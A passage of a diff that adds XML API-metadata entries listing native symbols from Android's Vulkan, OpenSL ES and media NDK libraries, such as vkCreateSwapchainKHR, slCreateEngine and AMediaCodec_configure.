+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdClearAttachments" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdEndRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSurfaceCapabilitiesKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkAllocateDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkFreeDescriptorSets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyFence" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetEventStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindPipeline" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceFeatures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreatePipelineCache" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetQueryPoolResults" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkMapMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkSetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateDescriptorPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetFenceStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyDevice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkBindBufferMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateQueryPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetImageMemoryRequirements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroySurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceSparseImageFormatProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBVULKAN" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkQueueWaitIdle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateAndroidSurfaceKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkAcquireNextImageKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyQueryPoolResults" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyPipelineLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateRenderPass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetStencilWriteMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdResetQueryPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateCommandPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateDescriptorSetLayout" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdClearColorImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetImageSparseMemoryRequirements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetStencilReference" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdCopyImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdNextSubpass" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkWaitForFences" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkBindImageMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdPipelineBarrier" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateImageView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkEnumerateInstanceExtensionProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkResetDescriptorPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdWaitEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdUpdateBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceImageFormatProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkResetCommandPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDrawIndexedIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyBufferView" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdPushConstants" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateSampler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyPipelineCache" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdBindVertexBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDrawIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDestroyQueryPool" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDispatchIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateFence" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdDrawIndexed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkUnmapMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateSwapchainKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateShaderModule" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdSetDepthBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCreateSemaphore" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkDeviceWaitIdle" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkCmdResetEvent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetDeviceMemoryCommitment" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkGetPhysicalDeviceProperties" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="vkFreeMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libopensles.so" static="false" visibility="public">
+      <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDEFFECTSEND" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="LIBOPENSLES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_AUDIODECODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_METADATAEXTRACTION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_VISUALIZATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_3DCOMMIT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_3DMACROSCOPIC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_BUFFERQUEUE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_EQUALIZER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_NULL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDCONFIGURATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_AUDIOENCODER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_DYNAMICINTERFACEMANAGEMENT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_OBJECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_ENGINECAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="slQueryNumSupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_ENVIRONMENTALREVERB" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_MIDIMESSAGE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_3DLOCATION" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_ENGINE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_RECORD" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_SEEK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_PLAY" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_VOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_EFFECTSEND" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_DYNAMICSOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_MIDIMUTESOLO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_PREFETCHSTATUS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_DEVICEVOLUME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_MUTESOLO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDBUFFERQUEUESOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_RATEPITCH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_VIRTUALIZER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDEFFECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_MIDITIME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_OUTPUTMIX" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="slCreateEngine" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDSIMPLEBUFFERQUEUE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_AUDIOENCODERCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_LED" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_THREADSYNC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="slQuerySupportedEngineInterfaces" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_PLAYBACKRATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_METADATATRAVERSAL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_MIDITEMPO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_VIBRA" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_3DDOPPLER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_3DGROUPING" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_AUDIOIODEVICECAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_3DSOURCE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_BASSBOOST" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_PITCH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_ANDROIDEFFECTCAPABILITIES" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="SL_IID_PRESETREVERB" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libmediandk.so" static="false" visibility="public">
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_FORCED_SUBTITLE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_restoreKeys" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_dequeueOutputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MIME" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getSecureStops" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getSampleFlags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_FRAME_RATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getFloat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_verify" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_getTrackFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_configure" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_STRIDE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_FLAC_COMPRESSION_LEVEL" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_setFloat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_newWithUsage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_HEIGHT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_setOutputSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_PUSH_BLANK_BUFFERS_ON_STOP" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_getInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_deleteAsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_getPropertyByteArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getMaxImages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_AUTOSELECT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createCodecByName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_readSampleData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_getOutputFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_stop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_getOutputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_releaseSecureStops" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_createDecoderByType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MAX_INPUT_SIZE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_BIT_RATE" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_signalEndOfInputStream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_createByUUID" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_setImageListener" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_writeSampleData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireLatestImageAsync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_new" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getWindow" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_releaseOutputBufferAtTime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBMEDIANDK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_CHANNEL_COUNT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_REPEAT_PREVIOUS_FRAME_AFTER" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_sign" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_acquireNextImage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getKey" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_unselectTrack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getNumberOfPlanes" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_openSession" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_COLOR_FORMAT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MAX_HEIGHT" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_decrypt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_setPropertyString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_IS_ADTS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getIV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodecCryptoInfo_getMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_releaseOutputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCodec_queueInputBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_setDataSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaFormat_getInt64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaMuxer_addTrack" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImage_getTimestamp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_MAX_WIDTH" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaCrypto_isCryptoSchemeSupported" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaExtractor_setDataSourceFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="AMEDIAFORMAT_KEY_CHANNEL_MASK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMediaDrm_queryKeyStatus" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AImageReader_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
